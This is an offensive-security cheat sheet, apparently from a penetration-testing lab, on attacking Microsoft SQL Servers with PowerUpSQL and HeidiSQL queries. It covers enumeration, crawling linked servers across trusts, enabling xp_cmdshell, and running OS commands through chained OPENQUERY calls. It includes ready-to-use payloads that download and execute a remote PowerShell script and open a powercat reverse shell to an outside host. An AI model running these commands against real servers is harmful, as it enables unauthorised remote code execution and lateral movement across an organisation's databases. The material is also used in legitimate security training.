MSSQL Servers

Tools

PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution.

GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL ServerGitHub

Enumeration

# SPN
Get-SQLInstanceDomain

# Check Access
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded 

# Information
Get-SQLInstanceDomain | Get-SQLServerInfo

Database Links

A database link allows a SQL Server to access external data sources like other SQL Servers and Data Source Objects (OLE DB).

In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures even across forest trusts.

# find links to remote machine
Get-SQLServerLink -Instance dcorp-mssql
# Using HeidiSQL
select * from master..sysservers

# database links
Get-SQLServerLinkCrawl -Instance dcorp-mssql 
# Using HeidiSQL 
select * from openquery("DCORP-SQL1", 'select * from openquery("DCORP-MGMT",''select * from master..sysservers'')')

Abuse

We can use links to execute commands across database links where Sysadmin set to 1

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql
# Using HeidiSQL 
SELECT *
FROM OPENQUERY("dcorp-sql1", '
    SELECT * 
    FROM OPENQUERY("dcorp-mgmt", ''
       SELECT *
       FROM OPENQUERY("EU-SQL32.EU.EUROCORP.LOCAL",''''
           SELECT @@version AS version;
           EXEC master..xp_cmdshell "powershell iex (iwr http://172.16.100.83/powercat.ps1 -UseBasicParsing)";
       '''') 
    '')
')


# revshell example
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex ((New-Object Net.WebClient).DownloadString(''http://172.16.100.83/powercat.ps1;powercat -c 172.16.100.83 -p 443 -e powershell''));"' -QueryTarget eu-sql32

In case that rpcout is enabled (disabled by default), xp_cmdshell can be enabled using:

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"